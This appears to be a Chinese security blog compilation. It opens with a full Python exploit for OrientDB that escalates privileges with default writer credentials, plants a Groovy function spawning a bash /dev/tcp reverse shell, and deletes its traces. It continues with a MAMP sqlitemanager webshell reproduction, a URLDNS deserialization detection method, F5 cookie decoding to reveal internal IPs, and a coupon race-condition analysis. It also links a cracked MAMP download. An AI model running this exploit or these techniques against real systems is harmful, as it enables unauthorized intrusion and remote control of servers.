OrientDB代码执行漏洞

漏洞详情

PoC

运行Netcat

nc -lv 8081

PoC.py

import sys
import requests
import json
import string
import random
 
target = sys.argv[1]
 
try:
    port = sys.argv[2] if sys.argv[2] else 2480
except:
    port = 2480
 
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
 
 
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
 
def enum_databases(target,port="2480"):
 
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
        #print "[+] Database Enumeration successful"
        database = req.json()['databases']
 
        return database
 
    return False
 
def check_version(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
 
        headers = req.headers['server']
        #print headers
        if "2.2" in headers or "3." in headers:
            return True
 
    return False
 
def run_queries(permission,db,content=""):
 
    databases = enum_databases(target)
 
    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
 
    priv_enable = ["create","read","update","execute","delete"]
    #query = "GRANT create ON database.class.ouser TO writer"
 
    for priv in priv_enable:
 
        if permission == "GRANT":
            query = "GRANT %s ON %s TO writer"%(priv,db)
        else:
            query = "REVOKE %s ON %s FROM writer"%(priv,db)
        req = requests.post(url,data=query,auth=('writer','writer'))
        if req.status_code == 200:
            pass
        else:
            if priv == "execute":
                return True
            return False
 
    print "[+] %s"%(content)
    return True
 
def priv_escalation(target,port="2480"):
 
    print "[+] Checking OrientDB Database version is greater than 2.2"
 
    if check_version(target,port):
 
        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
 
        if priv1 and priv2 and priv3:
            return True
 
    return False
 
def exploit(target,port="2480"):
 
    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
 
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
 
    func_name = random_function_name()
 
    print func_name
 
    databases = enum_databases(target)
 
    reverse_ip = raw_input('Enter the ip to connect back: ')
 
    query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
    #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
    req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
 
    if req.status_code == 201:
 
        #print req.status_code
        #print req.json()
 
        func_id = req.json()['@rid'].strip("#")
        #print func_id
 
        print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
 
        req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
        #print req.status_code
        #print req.text
 
        if req.status_code == 200:
            print "[+] Open netcat at port 8081.."
        else:
            print "[+] Exploitation failed at last step, try running the script again."
            print req.status_code
            print req.text
 
        #print "[+] Deleting traces.."
 
        req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
        priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
        priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
        priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
 
        #print req.status_code
        #print req.text
 
def main():
 
    target = sys.argv[1]
    #port = sys.argv[1] if sys.argv[1] else 2480
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
        #print port
    except:
        port = 2480
    if priv_escalation(target,port):
        exploit(target,port)
    else:
        print "[+] Target not vulnerable"
 
main()

命令:

python PoC.py ip [port] // 默认使用2480端口

poc1.png

poc2.png

修复方案

低漏报检测Java反序列化漏洞方法

1、不需要目标系统存在漏洞的第三方库,直接使用JDK自带的URL类发起dns请求,dns请求一般可以出网,所以漏报应该很低。

2、工具break-fast-serial,需要自己改造下把URLDNS的payload加到里面,启动dnschef

dnschef1.png

3、DNS解析设置

dns1.png

4、测试

url2.png

result1.png

5、检测到存在反序列化漏洞的点在具体进行绕过

MAMP远程代码执行漏洞

前言

MAMP 是一个集PHP,MYSQL,Apache等一体化PHP Web应用程序开发套件,今日国外研究者发现MAMP的默认的安装配置中存在远程代码执行漏洞。本文记录复现过程。

原文:Drive-by remote code execution by MAMP

环境配置

安装MAMP

  • 下载MAMP后开始安装

a6cc4662d0ba196f5413a113e1e2875a.png

  • 然后初始化时,会提示是否安装phpMyAdmin,我用不上那个没有勾选。

启动MAMP

  • 安装后不做任何修改,默认配置下启动MAMP服务

828caeccd80fde53b94eb046792b398b.png

漏洞复现

打开sqlitemanager地址:http://localhost:8888/sqlitemanager/

9375ab9b41b9312a3f1a8cc32c7fe7ca.png

利用目录跳转漏洞,漏洞位置:

0044945becdede38fb0ed450b7e1035a.png

这里没有校验写入位置和写入文件格式,可以利用…/…/在任意目录下创建你想要的文件。于是,在根路径下创建一个名为threathunter.php的数据库文件

d41f1fd545386d0ff7168f910e526a29.png

创建成功:

924f4f4883922c7b790aff105f391c16.png

下面就是常规套路,将一句话写入数据库中了。先创建一个表poc:

5f329c5e8c0dfe0385e55e6c6d4ed87b.png

指定字段名:

af9ceb2e292d7bc7d63e0633573c7e63.png

98ff56e92b681d90d974ae76d967ed2b.png

点击上面的Insert插入一条记录:

d4980a91b86bc807c6772cf0dd8c1749.png

然后保存,现在可以访问:http://localhost:8888/threathunter.php进行验证了:

597938d854d2885b7d85cc3d6eb7fb3d.png

提供一下我用的这个破解版的MAMP下载地址:

https://pan.baidu.com/s/1kU5yElp 密码: 2mnx 安装密码:macpeers

网上查了下,发现这个组件在2013年就爆出的这个漏洞。 SQLiteManager 0Day Remote PHP Code Injection Vulnerability

查看了下该组件项目最近一次更新居然远在2010年,最新版本即为1.2.4(全版本都存在那个0day),官方应该是废弃这个项目了!

acebe3db745e4961430bdfdaf8a98ab9.png

修改建议

  • 删除默认集成的老旧的sqlitemanager,默认在目录:/Applications/MAMP/bin/SQLiteManager删掉即可。

透过F5获取服务器真实内网IP

前言

渗透测试过程中,经常会遇到目标服务器使用F5 LTM做负载均衡。

如果能获取到目标服务器的真实IP地址,会给后续渗透带来一定便利。

本文既是最近渗透遇到的一点点经验分享。

F5修改cookie机制

F5 LTM做负载均衡时,有多种机制实现会话保持。

其中用到很多的一种是通过修改cookie来实现的。

具体说来,F5在获取到客户端第一次请求时,会使用set cookie头,给客户端埋入一个特定的cookie。

比如:

Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000

后续再接到客户端请求时,F5会查看cookie里面的字段,判断应该交给后续哪台服务器。

作为传统大厂,F5当然不会傻到直接把服务器IP address写入到cookie里面。

F5很巧妙的把server的真实IP address做了两次编码,然后再插入cookie。

所以,只要依据解码流畅,解开487098378.24095.0000的内容,就拿到了server的真实IP address。

解码思路

  • 首先,把第一小节的十进制数取出来,也即,487098378
  • 第二,将其转为十六进制数1d08880a
  • 第三,从后至前,以此取四位数出来,也即,0a88081d
  • 第四,依次把他们转为十进制数:10136829
  • 最后,得到真实内网IP:10.136.8.29

总结

严格意义上说,只有内网的私有IP,对正面突破目标防线的帮助并不明显。但是,当需要做内网渗透和漫游的时候,这一点信息还是有价值的。再不济,写report的时候,如果实在没的可写的时候,还可以拿这点作为一个issue作为丰富report的素材。

抵现券一券多用问题原理与总结

背景

支付H5预计2015-12-31上线,故在2015-12-21日提测了一个服务端的安全测试单(单号:1632363),由安全测试人员bit4帮忙跟进测试。bit4于2015-12-26日于redmine系统提交了一个安全bug(单号:266626 【安全】【支付】抵现券高并发处理不当,可一券多用)。

测试步骤

  1. 通过PaySdk客户端,生成业务订单,并点击支付生成支付订单,但不进行购买,如此反复生成多个初始化的购买订单
  2. 通过抵现券查询接口(有三个,都可以),直接进行支付流程就会有这个接口的的返回信息,抓包查看即可,选取一个抵现券记录下它的code值,比如:d2404ac1b2a54a1aadad752b536fxxxx
  3. 截获支付流程中的购买接口(https://pay.xxx.com/pay/oauth/voucher/deal/buy),真正进行支付订单支付的接口,替换其中的code值为刚记录的值,并替换订单值为第一步骤中所记录的初始化订单的值。
  4. 同时发起订单号不同而抵现券值相同的多个请求,构成并发请求。之后查看结果。发现有两个请求均获得支付成功。

注:以上环境中,设置的订单金额和使用的抵现券的金额都是一元,以保证请求是有效的,不受其他逻辑的干扰。而且测试的时候资金账号基本余额也做了检查,余额未变动。而抵现券也只是少了一个。

现象

同一个抵现券在高并发请求下出现被多次使用成功,多个订单可以使用同一个抵现券购买成功。

核实问题

根据安全测试人员提供的订单号及抵现券code, 分析日志及DB中的订单状态,抵现券状态,确实发现两个不同的购买订单使用同一个抵现券code购买成功,且可重现。

分析问题出现原因

经分析代码AccountServiceImpl.decrVoucherFirst()方法发现调用消费抵现券方法VoucherServiceImpl.consumeVoucherCode()时未对方法是否消费抵现券成功做处理,而该方法本身也没有对是否成功消费抵现券做处理。

故导致,同一个抵现券在高并发请求下,有多个请求同时满足消费抵现券的前置条件,到达如下图二所标识部分,则多个请求都可以执行完该方法,只是返回值不同, 上层调用者如图一所示, 并未对返回结果做判断。

1.png

2.png

验证问题

修改VoucherServiceImpl.consumeVoucherCode()方法,不更改程序原有逻辑,仅添加详细日志来验证分析出的原因是否正确, 修改如下。

3.png

重新打包,提交到测试环境,请安全测试人员重新测试, 日志如下:

4-1.png

日志与预期结果相符,验证了猜测。
 
于2015-12-27日,修复了该bug, 修改如下图所未, 调用到更新DB时,更改失败时,抛出消费抵现券失败异常, 阻止程序继续执行。

5.png

重新打包,部署到测试环境,测试结果如下:

测试时发现有三个请求在同时尝试修改券的状态,其中两个返回了“消费抵现券失败”,只有一个成功。确认修复有效。

总结

Mysql处理高并发,防止库存超卖的问题,大部分人一般想到的都是事务,但是事务是控制库存超卖的必要条件,但不是充分必要条件。

举例:

  • 商品总库存:4个商品
  • 并发请求人:a、1个商品 b、2个商品 c、3个商品

假如产品表名为:t_store, 商品id为:12345, 商品库存字符为: amount, 请求减掉的库存数量: quantity

程序如下:

BeginTransaction(开启事务)
try{
    $result = $dbca->query('select amount from t_store where product_id = 12345');
    if(result->amount > 0){
        $dbca->query('update t_store set amount = amount - quantity where product_id = 12345');
    }
}catch($e Exception){
    rollBack(回滚);
}
commit(提交事务);
EndTransaction(结束事务)

以上代码就是我们平时控制库存写的代码了,大多数人都会这么写,看似问题不大,其实隐藏着巨大的漏洞。

数据库的访问其实就是对磁盘文件的访问,数据库中的表其实就是保存在磁盘上的一个个文件,甚至一个文件包含了多张表。
例如由于高并发,当前有三个用户a、b、c三个用户进入到了这个事务中,这个时候会产生一个共享锁(读锁,允许多个事务读,但是不允许修改),

---me:为什么这里加的是共享锁而不是排他锁呢?因为是先query,也就是读取,所以加共享锁。而下边的update是修改,只能是排它锁。

所以在select的时候,这三个用户查到的库存数量都是4个,同时还要注意,mysql innodb查到的结果是有版本控制(MVCC,有兴趣的同学可以自己百度)的,在其他用户更新没有commit之前(也就是没有产生新版本之前),当前用户查到的结果依然是旧版本。

然后是update,假如这三个用户同时到达update这里,这个时候Mysql会把update更新语句并发串行化,也就是给同时到达这里的是三个用户排个序,一个一个执行,并生成排他锁(可读可写,独占资源),在当前这个update语句commit之前,其他用户等待执行,commit后,生成新的版本;

这样执行完后,库存肯定为负数了。但是根据以上描述,我们修改一下代码就不会出现超买现象了,代码如下:

BeginTransaction(开启事务)
try{
    $dbca->query('update t_store set amount = amount - quantity where amount>= quantity and product_id = 12345');
}catch($e Exception){
    rollBack(回滚);
}
commit(提交事务);
EndTransaction(结束事务)

这样就可以控制库存超卖的情况了, 但是还需要处理一点,就是执行这个update事务究竟是否更新成功(即更新成功的records是否大于0)呢 , 上面的update更新成功才能够接着处理用户扣钱,等一系列的操作。

再来看看此次我们所犯的错误:

很明显所犯的正是没有关心update执行是否成功亦即更新成功的records是否大于0,在没有做任何的判断的情况下让程序继续向下执行。故而导致此bug的出现。

本内容选自小密圈:

请输入图片描述